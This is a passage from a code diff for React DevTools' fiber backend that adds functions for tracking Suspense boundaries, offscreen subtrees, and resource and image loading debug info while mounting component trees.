+      fiber.return !== null &&
+      fiber.return.tag === ActivityComponent
+    );
+  }
+
+  /**
+   * Offscreen of suspended Suspense
+   */
+  function isSuspendedOffscreen(fiber: Fiber): boolean {
+    switch (fiber.tag) {
+      case LegacyHiddenComponent:
+      // fallthrough since all published implementations currently implement the same state as Offscreen.
+      case OffscreenComponent:
+        return (
+          fiber.memoizedState !== null &&
+          fiber.return !== null &&
+          fiber.return.tag === SuspenseComponent
+        );
+      default:
+        return false;
+    }
+  }
+
+  function unmountRemainingChildren() {
+    if (
+      reconcilingParent !== null &&
+      (reconcilingParent.kind === FIBER_INSTANCE ||
+        reconcilingParent.kind === FILTERED_FIBER_INSTANCE) &&
+      isSuspendedOffscreen(reconcilingParent.data) &&
+      !isInDisconnectedSubtree
+    ) {
+      // This is a hidden offscreen, we need to execute this in the context of a disconnected subtree.
+      isInDisconnectedSubtree = true;
+      try {
+        let child = remainingReconcilingChildren;
+        while (child !== null) {
+          unmountInstanceRecursively(child);
+          child = remainingReconcilingChildren;
+        }
+      } finally {
+        isInDisconnectedSubtree = false;
+      }
+    } else {
+      let child = remainingReconcilingChildren;
+      while (child !== null) {
+        unmountInstanceRecursively(child);
+        child = remainingReconcilingChildren;
+      }
+    }
+  }
+
+  function unmountSuspenseChildrenRecursively(
+    contentInstance: DevToolsInstance,
+    stashedSuspenseParent: null | SuspenseNode,
+    stashedSuspensePrevious: null | SuspenseNode,
+    stashedSuspenseRemaining: null | SuspenseNode,
+  ): void {
+    // First unmount only the Offscreen boundary. I.e. the main content.
+    unmountInstanceRecursively(contentInstance);
+
+    // Next, we'll pop back out of the SuspenseNode that we added above and now we'll
+    // unmount the fallback, unmounting anything in the context of the parent SuspenseNode.
+    // Since the fallback conceptually blocks the parent.
+    reconcilingParentSuspenseNode = stashedSuspenseParent;
+    previouslyReconciledSiblingSuspenseNode = stashedSuspensePrevious;
+    remainingReconcilingChildrenSuspenseNodes = stashedSuspenseRemaining;
+    unmountRemainingChildren();
+  }
+
+  function isChildOf(
+    parentInstance: DevToolsInstance,
+    childInstance: DevToolsInstance,
+    grandParent: DevToolsInstance,
+  ): boolean {
+    let instance = childInstance.parent;
+    while (instance !== null) {
+      if (parentInstance === instance) {
+        return true;
+      }
+      if (instance === parentInstance.parent || instance === grandParent) {
+        // This was a sibling but not inside the FiberInstance. We can bail out.
+        break;
+      }
+      instance = instance.parent;
+    }
+    return false;
+  }
+
+  function measureUnchangedSuspenseNodesRecursively(
+    suspenseNode: SuspenseNode,
+  ): void {
+    if (isInDisconnectedSubtree) {
+      // We don't update rects inside disconnected subtrees.
+      return;
+    }
+    const instance = suspenseNode.instance;
+
+    const isSuspendedSuspenseComponent =
+      (instance.kind === FIBER_INSTANCE ||
+        instance.kind === FILTERED_FIBER_INSTANCE) &&
+      instance.data.tag === SuspenseComponent &&
+      instance.data.memoizedState !== null;
+    if (isSuspendedSuspenseComponent) {
+      // This boundary itself was suspended and we don't measure those since that would measure
+      // the fallback. We want to keep a ghost of the rectangle of the content not currently shown.
+      return;
+    }
+
+    // While this boundary wasn't suspended and the bailed out root and wasn't in a disconnected subtree,
+    // it's possible that this node was in one. So we need to check if we're offscreen.
+    let parent = instance.parent;
+    while (parent !== null) {
+      if (
+        (parent.kind === FIBER_INSTANCE ||
+          parent.kind === FILTERED_FIBER_INSTANCE) &&
+        isHiddenOffscreen(parent.data)
+      ) {
+        // We're inside a hidden offscreen Fiber. We're in a disconnected tree.
+        return;
+      }
+      if (parent.suspenseNode !== null) {
+        // Found our parent SuspenseNode. We can bail out now.
+        break;
+      }
+      parent = parent.parent;
+    }
+
+    const nextRects = measureInstance(suspenseNode.instance);
+    const prevRects = suspenseNode.rects;
+    if (areEqualRects(prevRects, nextRects)) {
+      return; // Unchanged
+    }
+
+    // We changed inside a visible tree.
+    // Since this boundary changed, it's possible it also affected its children so lets
+    // measure them as well.
+    for (
+      let child = suspenseNode.firstChild;
+      child !== null;
+      child = child.nextSibling
+    ) {
+      measureUnchangedSuspenseNodesRecursively(child);
+    }
+    suspenseNode.rects = nextRects;
+    recordSuspenseResize(suspenseNode);
+  }
+
+  function consumeSuspenseNodesOfExistingInstance(
+    instance: DevToolsInstance,
+  ): void {
+    // We need to also consume any unchanged Suspense boundaries.
+    let suspenseNode = remainingReconcilingChildrenSuspenseNodes;
+    if (suspenseNode === null) {
+      return;
+    }
+    const parentSuspenseNode = reconcilingParentSuspenseNode;
+    if (parentSuspenseNode === null) {
+      throw new Error(
+        'The should not be any remaining suspense node children if there is no parent.',
+      );
+    }
+    let foundOne = false;
+    let previousSkippedSibling = null;
+    while (suspenseNode !== null) {
+      // Check if this SuspenseNode was a child of the bailed out FiberInstance.
+      if (
+        isChildOf(instance, suspenseNode.instance, parentSuspenseNode.instance)
+      ) {
+        foundOne = true;
+        // The suspenseNode was child of the bailed out Fiber.
+        // First, remove it from the remaining children set.
+        const nextRemainingSibling = suspenseNode.nextSibling;
+        if (previousSkippedSibling === null) {
+          remainingReconcilingChildrenSuspenseNodes = nextRemainingSibling;
+        } else {
+          previousSkippedSibling.nextSibling = nextRemainingSibling;
+        }
+        suspenseNode.nextSibling = null;
+        // Then, re-insert it into the newly reconciled set.
+        if (previouslyReconciledSiblingSuspenseNode === null) {
+          parentSuspenseNode.firstChild = suspenseNode;
+        } else {
+          previouslyReconciledSiblingSuspenseNode.nextSibling = suspenseNode;
+        }
+        previouslyReconciledSiblingSuspenseNode = suspenseNode;
+        // While React didn't rerender this node, it's possible that it was affected by
+        // layout due to mutation of a parent or sibling. Check if it changed size.
+        measureUnchangedSuspenseNodesRecursively(suspenseNode);
+        // Continue
+        suspenseNode = nextRemainingSibling;
+      } else if (foundOne) {
+        // If we found one and then hit a miss, we assume that we're passed the sequence because
+        // they should've all been consecutive.
+        break;
+      } else {
+        previousSkippedSibling = suspenseNode;
+        suspenseNode = suspenseNode.nextSibling;
+      }
+    }
+  }
+
+  function mountVirtualInstanceRecursively(
+    virtualInstance: VirtualInstance,
+    firstChild: Fiber,
+    lastChild: null | Fiber, // non-inclusive
+    traceNearestHostComponentUpdate: boolean,
+    virtualLevel: number, // the nth level of virtual instances
+  ): void {
+    // If we have the tree selection from previous reload, try to match this Instance.
+    // Also remember whether to do the same for siblings.
+    const mightSiblingsBeOnTrackedPath =
+      updateVirtualTrackedPathStateBeforeMount(
+        virtualInstance,
+        reconcilingParent,
+      );
+
+    const stashedParent = reconcilingParent;
+    const stashedPrevious = previouslyReconciledSibling;
+    const stashedRemaining = remainingReconcilingChildren;
+    // Push a new DevTools instance parent while reconciling this subtree.
+    reconcilingParent = virtualInstance;
+    previouslyReconciledSibling = null;
+    remainingReconcilingChildren = null;
+    try {
+      mountVirtualChildrenRecursively(
+        firstChild,
+        lastChild,
+        traceNearestHostComponentUpdate,
+        virtualLevel + 1,
+      );
+      // Must be called after all children have been appended.
+      recordVirtualProfilingDurations(virtualInstance);
+    } finally {
+      reconcilingParent = stashedParent;
+      previouslyReconciledSibling = stashedPrevious;
+      remainingReconcilingChildren = stashedRemaining;
+      updateTrackedPathStateAfterMount(mightSiblingsBeOnTrackedPath);
+    }
+  }
+
+  function recordVirtualUnmount(instance: VirtualInstance) {
+    recordVirtualDisconnect(instance);
+    idToDevToolsInstanceMap.delete(instance.id);
+  }
+
+  function recordVirtualDisconnect(instance: VirtualInstance) {
+    if (isInDisconnectedSubtree) {
+      return;
+    }
+    if (trackedPathMatchInstance === instance) {
+      // We're in the process of trying to restore previous selection.
+      // If this fiber matched but is being unmounted, there's no use trying.
+      // Reset the state so we don't keep holding onto it.
+      setTrackedPath(null);
+    }
+
+    const id = instance.id;
+    pendingRealUnmountedIDs.push(id);
+  }
+
+  function trackDebugInfoFromLazyType(fiber: Fiber): void {
+    // The debugInfo from a Lazy isn't propagated onto _debugInfo of the parent Fiber the way
+    // it is when used in child position. So we need to pick it up explicitly.
+    const type = fiber.elementType;
+    const typeSymbol = getTypeSymbol(type); // The elementType might be have been a LazyComponent.
+    if (typeSymbol === LAZY_SYMBOL_STRING) {
+      const debugInfo: ?ReactDebugInfo = type._debugInfo;
+      if (debugInfo) {
+        for (let i = 0; i < debugInfo.length; i++) {
+          const debugEntry = debugInfo[i];
+          if (debugEntry.awaited) {
+            const asyncInfo: ReactAsyncInfo = (debugEntry: any);
+            insertSuspendedBy(asyncInfo);
+          }
+        }
+      }
+    }
+  }
+
+  function trackDebugInfoFromUsedThenables(fiber: Fiber): void {
+    // If a Fiber called use() in DEV mode then we may have collected _debugThenableState on
+    // the dependencies. If so, then this will contain the thenables passed to use().
+    // These won't have their debug info picked up by fiber._debugInfo since that just
+    // contains things suspending the children. We have to collect use() separately.
+    const dependencies = fiber.dependencies;
+    if (dependencies == null) {
+      return;
+    }
+    const thenableState = dependencies._debugThenableState;
+    if (thenableState == null) {
+      return;
+    }
+    // In DEV the thenableState is an inner object.
+    const usedThenables: any = thenableState.thenables || thenableState;
+    if (!Array.isArray(usedThenables)) {
+      return;
+    }
+    for (let i = 0; i < usedThenables.length; i++) {
+      const thenable: Thenable<mixed> = usedThenables[i];
+      const debugInfo = thenable._debugInfo;
+      if (debugInfo) {
+        for (let j = 0; j < debugInfo.length; j++) {
+          const debugEntry = debugInfo[j];
+          if (debugEntry.awaited) {
+            const asyncInfo: ReactAsyncInfo = (debugEntry: any);
+            insertSuspendedBy(asyncInfo);
+          }
+        }
+      }
+    }
+  }
+
+  const hostAsyncInfoCache: WeakMap<{...}, ReactAsyncInfo> = new WeakMap();
+
+  function trackDebugInfoFromHostResource(
+    devtoolsInstance: DevToolsInstance,
+    fiber: Fiber,
+  ): void {
+    const resource: ?{
+      type: 'stylesheet' | 'style' | 'script' | 'void',
+      instance?: null | HostInstance,
+      ...
+    } = fiber.memoizedState;
+    if (resource == null) {
+      return;
+    }
+
+    // Use a cached entry based on the resource. This ensures that if we use the same
+    // resource in multiple places, it gets deduped and inner boundaries don't consider it
+    // as contributing to those boundaries.
+    const existingEntry = hostAsyncInfoCache.get(resource);
+    if (existingEntry !== undefined) {
+      insertSuspendedBy(existingEntry);
+      return;
+    }
+
+    const props: {
+      href?: string,
+      media?: string,
+      ...
+    } = fiber.memoizedProps;
+
+    // Stylesheet resources may suspend. We need to track that.
+    const mayResourceSuspendCommit =
+      resource.type === 'stylesheet' &&
+      // If it doesn't match the currently debugged media, then it doesn't count.
+      (typeof props.media !== 'string' ||
+        typeof matchMedia !== 'function' ||
+        matchMedia(props.media));
+    if (!mayResourceSuspendCommit) {
+      return;
+    }
+
+    const instance = resource.instance;
+    if (instance == null) {
+      return;
+    }
+
+    // Unlike props.href, this href will be fully qualified which we need for comparison below.
+    const href = instance.href;
+    if (typeof href !== 'string') {
+      return;
+    }
+    let start = -1;
+    let end = -1;
+    let byteSize = 0;
+    // $FlowFixMe[method-unbinding]
+    if (typeof performance.getEntriesByType === 'function') {
+      // We may be able to collect the start and end time of this resource from Performance Observer.
+      const resourceEntries = performance.getEntriesByType('resource');
+      for (let i = 0; i < resourceEntries.length; i++) {
+        const resourceEntry = resourceEntries[i];
+        if (resourceEntry.name === href) {
+          start = resourceEntry.startTime;
+          end = start + resourceEntry.duration;
+          // $FlowFixMe[prop-missing]
+          byteSize = (resourceEntry.transferSize: any) || 0;
+        }
+      }
+    }
+    const value = instance.sheet;
+    const promise = Promise.resolve(value);
+    (promise: any).status = 'fulfilled';
+    (promise: any).value = value;
+    const ioInfo: ReactIOInfo = {
+      name: 'stylesheet',
+      start,
+      end,
+      value: promise,
+      // $FlowFixMe: This field doesn't usually take a Fiber but we're only using inside this file.
+      owner: fiber, // Allow linking to the <link> if it's not filtered.
+    };
+    if (byteSize > 0) {
+      // $FlowFixMe[cannot-write]
+      ioInfo.byteSize = byteSize;
+    }
+    const asyncInfo: ReactAsyncInfo = {
+      awaited: ioInfo,
+      // $FlowFixMe: This field doesn't usually take a Fiber but we're only using inside this file.
+      owner: fiber._debugOwner == null ? null : fiber._debugOwner,
+      debugStack: fiber._debugStack == null ? null : fiber._debugStack,
+      debugTask: fiber._debugTask == null ? null : fiber._debugTask,
+    };
+    hostAsyncInfoCache.set(resource, asyncInfo);
+    insertSuspendedBy(asyncInfo);
+  }
+
+  function trackDebugInfoFromHostComponent(
+    devtoolsInstance: DevToolsInstance,
+    fiber: Fiber,
+  ): void {
+    if (fiber.tag !== HostComponent) {
+      return;
+    }
+    if ((fiber.mode & SuspenseyImagesMode) === 0) {
+      // In any released version, Suspensey Images are only enabled inside a ViewTransition
+      // subtree, which is enabled by the SuspenseyImagesMode.
+      // TODO: If we ever enable the enableSuspenseyImages flag then it would be enabled for
+      // all images and we'd need some other check for if the version of React has that enabled.
+      return;
+    }
+
+    const type = fiber.type;
+    const props: {
+      src?: string,
+      onLoad?: (event: any) => void,
+      loading?: 'eager' | 'lazy',
+      ...
+    } = fiber.memoizedProps;
+
+    const maySuspendCommit =
+      type === 'img' &&
+      props.src != null &&
+      props.src !== '' &&
+      props.onLoad == null &&
+      props.loading !== 'lazy';
+
+    // Note: We don't track "maySuspendCommitOnUpdate" separately because it doesn't matter if
+    // it didn't suspend this particular update if it would've suspended if it mounted in this
+    // state, since we're tracking the dependencies inside the current state.
+
+    if (!maySuspendCommit) {
+      return;
+    }
+
+    const instance = fiber.stateNode;
+    if (instance == null) {
+      // Should never happen.
+      return;
+    }
+
+    // Unlike props.src, currentSrc will be fully qualified which we need for comparison below.
+    // Unlike instance.src it will be resolved into the media queries currently matching which is
+    // the state we're inspecting.
+    const src = instance.currentSrc;
+    if (typeof src !== 'string' || src === '') {
+      return;
+    }
+    let start = -1;
+    let end = -1;
+    let byteSize = 0;
+    let fileSize = 0;
+    // $FlowFixMe[method-unbinding]
+    if (typeof performance.getEntriesByType === 'function') {
+      // We may be able to collect the start and end time of this resource from Performance Observer.
+      const resourceEntries = performance.getEntriesByType('resource');
+      for (let i = 0; i < resourceEntries.length; i++) {
+        const resourceEntry = resourceEntries[i];
+        if (resourceEntry.name === src) {
+          start = resourceEntry.startTime;
+          end = start + resourceEntry.duration;
+          // $FlowFixMe[prop-missing]
+          fileSize = (resourceEntry.decodedBodySize: any) || 0;
+          // $FlowFixMe[prop-missing]
+          byteSize = (resourceEntry.transferSize: any) || 0;
+        }
+      }
+    }
+    // A representation of the image data itself.
+    // TODO: We could render a little preview in the front end from the resource API.
+    const value: {
+      currentSrc: string,
+      naturalWidth?: number,
+      naturalHeight?: number,
+      fileSize?: number,
+    } = {
+      currentSrc: src,
+    };
+    if (instance.naturalWidth > 0 && instance.naturalHeight > 0) {
+      // The intrinsic size of the file value itself, if it's loaded
+      value.naturalWidth = instance.naturalWidth;
+      value.naturalHeight = instance.naturalHeight;
+    }
+    if (fileSize > 0) {
+      // Cross-origin images won't have a file size that we can access.
+      value.fileSize = fileSize;
+    }
+    const promise = Promise.resolve(value);
+    (promise: any).status = 'fulfilled';
+    (promise: any).value = value;
+    const ioInfo: ReactIOInfo = {
+      name: 'img',
+      start,
+      end,
+      value: promise,
+      // $FlowFixMe: This field doesn't usually take a Fiber but we're only using inside this file.
+      owner: fiber, // Allow linking to the <link> if it's not filtered.
+    };
+    if (byteSize > 0) {
+      // $FlowFixMe[cannot-write]
+      ioInfo.byteSize = byteSize;
+    }
+    const asyncInfo: ReactAsyncInfo = {
+      awaited: ioInfo,
+      // $FlowFixMe: This field doesn't usually take a Fiber but we're only using inside this file.
+      owner: fiber._debugOwner == null ? null : fiber._debugOwner,
+      debugStack: fiber._debugStack == null ? null : fiber._debugStack,
+      debugTask: fiber._debugTask == null ? null : fiber._debugTask,
+    };
+    insertSuspendedBy(asyncInfo);
+  }
+
+  function trackThrownPromisesFromRetryCache(
+    suspenseNode: SuspenseNode,
+    retryCache: ?WeakSet<Wakeable>,
+  ): void {
+    if (retryCache != null) {
+      // If a Suspense boundary ever committed in fallback state with a retryCache, that
+      // suggests that something unique to that boundary was suspensey since otherwise
+      // it wouldn't have thrown and so never created the retryCache.
+      // Unfortunately if we don't have any DEV time debug info or debug thenables then
+      // we have no meta data to show. However, we still mark this Suspense boundary as
+      // participating in the loading sequence since apparently it can suspend.
+      if (!suspenseNode.hasUniqueSuspenders) {
+        recordSuspenseSuspenders(suspenseNode);
+      }
+      suspenseNode.hasUniqueSuspenders = true;
+      // We have not seen any reason yet for why this suspense node might have been
+      // suspended but it clearly has been at some point. If we later discover a reason
+      // we'll clear this flag again.
+      suspenseNode.hasUnknownSuspenders = true;
+    }
+  }
+
+  function mountVirtualChildrenRecursively(
+    firstChild: Fiber,
+    lastChild: null | Fiber, // non-inclusive
+    traceNearestHostComponentUpdate: boolean,
+    virtualLevel: number, // the nth level of virtual instances
+  ): void {
+    // Iterate over siblings rather than recursing.
+    // This reduces the chance of stack overflow for wide trees (e.g. lists with many items).
+    let fiber: Fiber | null = firstChild;
+    let previousVirtualInstance: null | VirtualInstance = null;
+    let previousVirtualInstanceFirstFiber: Fiber = firstChild;
+    while (fiber !== null && fiber !== lastChild) {
+      let level = 0;
+      if (fiber._debugInfo) {
+        for (let i = 0; i < fiber._debugInfo.length; i++) {
+          const debugEntry = fiber._debugInfo[i];
+          if (debugEntry.awaited) {
+            // Async Info
+            const asyncInfo: ReactAsyncInfo = (debugEntry: any);
+            if (level === virtualLevel) {
+              // Track any async info between the previous virtual instance up until to this
+              // instance and add it to the parent. This can add the same set multiple times
+              // so we assume insertSuspendedBy dedupes.
+              insertSuspendedBy(asyncInfo);
+            }
+            continue;
+          }
+          if (typeof debugEntry.name !== 'string') {
+            // Not a Component. Some other Debug Info.
+            continue;
+          }
+          // Scan up until the next Component to see if this component changed environment.
+          const componentInfo: ReactComponentInfo = (debugEntry: any);
+          const secondaryEnv = getSecondaryEnvironmentName(fiber._debugInfo, i);
+          if (componentInfo.env != null) {
+            knownEnvironmentNames.add(componentInfo.env);
+          }
+          if (secondaryEnv !== null) {
+            knownEnvironmentNames.add(secondaryEnv);
+          }
+          if (shouldFilterVirtual(componentInfo, secondaryEnv)) {
+            // Skip.
+            continue;
+          }
+          if (level === virtualLevel) {
+            if (
+              previousVirtualInstance === null ||
+              // Consecutive children with the same debug entry as a parent gets
+              // treated as if they share the same virtual instance.
+              previousVirtualInstance.data !== debugEntry
+            ) {
+              if (previousVirtualInstance !== null) {
+                // Mount any previous children that should go into the previous parent.
+                mountVirtualInstanceRecursively(
+                  previousVirtualInstance,
+                  previousVirtualInstanceFirstFiber,
+                  fiber,
+                  traceNearestHostComponentUpdate,
+                  virtualLevel,
+                );
+              }
+              previousVirtualInstance = createVirtualInstance(componentInfo);
+              recordVirtualMount(
+                previousVirtualInstance,
+                reconcilingParent,
+                secondaryEnv,
+              );
+              insertChild(previousVirtualInstance);
+              previousVirtualInstanceFirstFiber = fiber;
+            }
+            level++;
+            break;
+          } else {
+            level++;
+          }
+        }
+      }
+      if (level === virtualLevel) {
+        if (previousVirtualInstance !== null) {
+          // If we were working on a virtual instance and this is not a virtual
+          // instance, then we end the sequence and mount any previous children
+          // that should go into the previous virtual instance.
+          mountVirtualInstanceRecursively(
+            previousVirtualInstance,
+            previousVirtualInstanceFirstFiber,
+            fiber,
+            traceNearestHostComponentUpdate,
+            virtualLevel,
+          );
+          previousVirtualInstance = null;
+        }
+        // We've reached the end of the virtual levels, but not beyond,
+        // and now continue with the regular fiber.
+        mountFiberRecursively(fiber, traceNearestHostComponentUpdate);
+      }
+      fiber = fiber.sibling;
+    }
+    if (previousVirtualInstance !== null) {
+      // Mount any previous children that should go into the previous parent.
+      mountVirtualInstanceRecursively(
+        previousVirtualInstance,
+        previousVirtualInstanceFirstFiber,
+        null,
+        traceNearestHostComponentUpdate,
+        virtualLevel,
+      );
+    }
+  }
+
+  function mountChildrenRecursively(
+    firstChild: Fiber,
+    traceNearestHostComponentUpdate: boolean,
+  ): void {
+    mountVirtualChildrenRecursively(
+      firstChild,
+      null,
+      traceNearestHostComponentUpdate,
+      0, // first level
+    );
+  }
+
+  function mountSuspenseChildrenRecursively(
+    contentFiber: Fiber,
+    traceNearestHostComponentUpdate: boolean,
+    stashedSuspenseParent: SuspenseNode | null,
+    stashedSuspensePrevious: SuspenseNode | null,
+    stashedSuspenseRemaining: SuspenseNode | null,
+  ) {
+    const fallbackFiber = contentFiber.sibling;
+
+    // First update only the Offscreen boundary. I.e. the main content.
+    mountVirtualChildrenRecursively(
+      contentFiber,
+      fallbackFiber,
+      traceNearestHostComponentUpdate,
+      0, // first level
+    );
+
+    // Next, we'll pop back out of the SuspenseNode that we added above and now we'll
+    // reconcile the fallback, reconciling anything by inserting into the parent SuspenseNode.
+    // Since the fallback conceptually blocks the parent.
+    reconcilingParentSuspenseNode = stashedSuspenseParent;
+    previouslyReconciledSiblingSuspenseNode = stashedSuspensePrevious;
+    remainingReconcilingChildrenSuspenseNodes = stashedSuspenseRemaining;
+    if (fallbackFiber !== null) {
+      mountVirtualChildrenRecursively(
+        fallbackFiber,
+        null,
+        traceNearestHostComponentUpdate,
+        0, // first level
+      );
+    }
+  }
+
+  function mountFiberRecursively(
+    fiber: Fiber,
+    traceNearestHostComponentUpdate: boolean,
+  ): void {
+    const isFocusedActivityEntry =
+      focusedActivity !== null &&
+      (fiber === focusedActivity || fiber.alternate === focusedActivity);
+    if (isFocusedActivityEntry) {
+      isInFocusedActivity = true;
+    }
+
+    const shouldIncludeInTree = !shouldFilterFiber(fiber);
+    let newInstance = null;
+    let newSuspenseNode = null;
+    if (shouldIncludeInTree) {
+      newInstance = recordMount(fiber, reconcilingParent);
+      if (isFocusedActivityEntry) {
+        focusedActivityID = newInstance.id;
+        pushOperation(TREE_OPERATION_APPLIED_ACTIVITY_SLICE_CHANGE);
+        pushOperation(newInstance.id);
+      }
+      if (fiber.tag === SuspenseComponent || fiber.tag === HostRoot) {
+        newSuspenseNode = createSuspenseNode(newInstance);
+        // Measure this Suspense node. In general we shouldn't do this until we have
+        // inserted the new children but since we know this is a FiberInstance we'll
+        // just use the Fiber anyway.
+        // Fallbacks get attributed to the parent so we only measure if we're
+        // showing primary content.
+        if (fiber.tag === SuspenseComponent) {
+          if (OffscreenComponent === -1) {
+            const isTimedOut = fiber.memoizedState !== null;
+            if (!isTimedOut) {
+              newSuspenseNode.rects = measureInstance(newInstance);
+            }
+          } else {
+            const hydrated = isFiberHydrated(fiber);
+            if (hydrated) {
+              const contentFiber = fiber.child;
+              if (contentFiber === null) {
+                throw new Error(
+                  'There should always be an Offscreen Fiber child in a hydrated Suspense boundary.',
+                );
+              }
+            } else {
+              // This Suspense Fiber is still dehydrated. It won't have any children
+              // until hydration.
+            }
+            const isTimedOut = fiber.memoizedState !== null;
+            if (!isTimedOut) {
+              newSuspenseNode.rects = measureInstance(newInstance);
+            }
+          }
+        } else {
+          newSuspenseNode.rects = measureInstance(newInstance);
+        }
+        recordSuspenseMount(newSuspenseNode, reconcilingParentSuspenseNode);
+      }
+      insertChild(newInstance);
+      if (__DEBUG__) {
+        debug('mountFiberRecursively()', newInstance, reconcilingParent);
+      }
+    } else if (
+      (reconcilingParent !== null &&
+        reconcilingParent.kind === VIRTUAL_INSTANCE) ||
+      fiber.tag === SuspenseComponent ||
+      // Use to keep resuspended instances alive inside a SuspenseComponent.
+      fiber.tag === OffscreenComponent ||
+      fiber.tag === LegacyHiddenComponent
+    ) {
+      // If the parent is a Virtual Instance and we filtered this Fiber we include a
+      // hidden node. We also include this if it's a Suspense boundary so we can track those
+      // in the Suspense tree.
+      if (
+        reconcilingParent !== null &&
+        reconcilingParent.kind === VIRTUAL_INSTANCE &&
+        reconcilingParent.data === fiber._debugOwner &&
+        fiber._debugStack != null &&
+        reconcilingParent.source === null
+      ) {
+        // The new Fiber is directly owned by the parent. Therefore somewhere on the
+        // debugStack will be a stack frame inside parent that we can use as its soruce.
+        reconcilingParent.source = fiber._debugStack;
+      }
+
+      newInstance = createFilteredFiberInstance(fiber);
+      if (fiber.tag === SuspenseComponent) {
+        newSuspenseNode = createSuspenseNode(newInstance);
+        // Measure this Suspense node. In general we shouldn't do this until we have
+        // inserted the new children but since we know this is a FiberInstance we'll
+        // just use the Fiber anyway.
+        // Fallbacks get attributed to the parent so we only measure if we're
+        // showing primary content.
+        if (OffscreenComponent === -1) {
+          const isTimedOut = fiber.memoizedState !== null;
+          if (!isTimedOut) {
+            newSuspenseNode.rects = measureInstance(newInstance);
+          }
+        } else {
+          const hydrated = isFiberHydrated(fiber);
+          if (hydrated) {
+            const contentFiber = fiber.child;
+            if (contentFiber === null) {
+              throw new Error(
+                'There should always be an Offscreen Fiber child in a hydrated Suspense boundary.',
+              );
+            }
+          } else {
+            // This Suspense Fiber is still dehydrated. It won't have any children
+            // until hydration.
+          }
+          const suspenseState = fiber.memoizedState;
+          const isTimedOut = suspenseState !== null;
+          if (!isTimedOut) {
+            newSuspenseNode.rects = measureInstance(newInstance);
+          }
+        }
+      }
+      insertChild(newInstance);
+      if (__DEBUG__) {
+        debug('mountFiberRecursively()', newInstance, reconcilingParent);
+      }
+    }
+
+    // If we have the tree selection from previous reload, try to match this Fiber.
+    // Also remember whether to do the same for siblings.
+    const mightSiblingsBeOnTrackedPath = updateTrackedPathStateBeforeMount(
+      fiber,
+      newInstance,
+    );
+
+    const stashedParent = reconcilingParent;
+    const stashedPrevious = previouslyReconciledSibling;
+    const stashedRemaining = remainingReconcilingChildren;
+    const stashedSuspenseParent = reconcilingParentSuspenseNode;
+    const stashedSuspensePrevious = previouslyReconciledSiblingSuspenseNode;
+    const stashedSuspenseRemaining = remainingReconcilingChildrenSuspenseNodes;
+    const stashedIsInActivitySlice = isInFocusedActivity;
+    if (newInstance !== null) {
+      // Push a new DevTools instance parent while reconciling this subtree.
+      reconcilingParent = newInstance;
+      previouslyReconciledSibling = null;
+      remainingReconcilingChildren = null;
+    }
+    let shouldPopSuspenseNode = false;
+    if (newSuspenseNode !== null) {
+      reconcilingParentSuspenseNode = newSuspenseNode;
+      previouslyReconciledSiblingSuspenseNode = null;
+      remainingReconcilingChildrenSuspenseNodes = null;
+      shouldPopSuspenseNode = true;
+    }
+    if (
+      !isFocusedActivityEntry &&
+      focusedActivity !== null &&
+      fiber.tag === ActivityComponent
+    ) {
+      // We're not filtering how Activity within the focused activity.
+      // We cut of the bottom in the Frontend if we want to just show the
+      // Activity slice instead of all Activity descendants.
+      // The filtering in the backend only happens because filtering out
+      // everything above the focused Activity is hard to implement in the frontend.
+    }
+    try {
+      if (traceUpdatesEnabled) {
+        if (traceNearestHostComponentUpdate) {
+          const elementType = getElementTypeForFiber(fiber);
+          // If an ancestor updated, we should mark the nearest host nodes for highlighting.
+          if (elementType === ElementTypeHostComponent) {
+            traceUpdatesForNodes.add(fiber.stateNode);
+            traceNearestHostComponentUpdate = false;
+          }
+        }
+
+        // We intentionally do not re-enable the traceNearestHostComponentUpdate flag in this branch,
+        // because we don't want to highlight every host node inside of a newly mounted subtree.
+      }
+
+      trackDebugInfoFromLazyType(fiber);
+      trackDebugInfoFromUsedThenables(fiber);
+
+      if (fiber.tag === HostHoistable) {
+        const nearestInstance = reconcilingParent;
+        if (nearestInstance === null) {
+          throw new Error('Did not expect a host hoistable to be the root');
+        }
+        aquireHostResource(nearestInstance, fiber.memoizedState);
+        trackDebugInfoFromHostResource(nearestInstance, fiber);
+      } else if (
+        fiber.tag === HostComponent ||
+        fiber.tag === HostText ||
+        fiber.tag === HostSingleton
+      ) {
+        const nearestInstance = reconcilingParent;
+        if (nearestInstance === null) {
+          throw new Error('Did not expect a host hoistable to be the root');
+        }
+        aquireHostInstance(nearestInstance, fiber.stateNode);
+        trackDebugInfoFromHostComponent(nearestInstance, fiber);
+      }
+
+      if (isSuspendedOffscreen(fiber)) {
+        // If an Offscreen component is hidden, mount its children as disconnected.
+        const stashedDisconnected = isInDisconnectedSubtree;
+        isInDisconnectedSubtree = true;
+        try {
+          if (fiber.child !== null) {
+            mountChildrenRecursively(fiber.child, false);
+          }
+        } finally {
+          isInDisconnectedSubtree = stashedDisconnected;
+        }
+      } else if (isHiddenOffscreen(fiber)) {
+        if (isActivityHiddenOffscreen(fiber)) {
+          // Activity's hidden children should still be visible in DevTools.
+          if (fiber.child !== null) {
+            mountChildrenRecursively(
+              fiber.child,
+              traceNearestHostComponentUpdate,
+            );
+          }
+        }
+        // Otherwise, hidden Offscreen (e.g. non-Activity) is noisy.
+        // Including it may show overlapping Suspense rects
+      } else if (fiber.tag === SuspenseComponent && OffscreenComponent === -1) {
+        // Legacy Suspense without the Offscreen wrapper. For the modern Suspense we just handle the
+        // Offscreen wrapper itself specially.
+        if (newSuspenseNode !== null) {
+          trackThrownPromisesFromRetryCache(newSuspenseNode, fiber.stateNode);
+        }
+        const isTimedOut = fiber.memoizedState !== null;
+        if (isTimedOut) {
+          // Special case: if Suspense mounts in a timed-out state,
+          // get the fallback child from the inner fragment and mount
+          // it as if it was our own child. Updates handle this too.
+          const primaryChildFragment = fiber.child;
+          const fallbackChildFragment = primaryChildFragment
+            ? primaryChildFragment.sibling
+            : null;
+          if (fallbackChildFragment) {
+            const fallbackChild = fallbackChildFragment.child;
+            if (fallbackChild !== null) {
+              updateTrackedPathStateBeforeMount(fallbackChildFragment, null);
+              mountChildrenRecursively(
+                fallbackChild,
+                traceNearestHostComponentUpdate,
+              );
+            }
+          }
+          // TODO: Track SuspenseNode in resuspended trees.
+        } else {
+          const primaryChild: Fiber | null = fiber.child;
+          if (primaryChild !== null) {
+            mountChildrenRecursively(
+              primaryChild,
+              traceNearestHostComponentUpdate,
+            );
+          }
+        }
+      } else if (
+        fiber.tag === SuspenseComponent &&
+        OffscreenComponent !== -1 &&
+        newInstance !== null &&
+        newSuspenseNode !== null
+      ) {
+        // Modern Suspense path
+        const contentFiber = fiber.child;
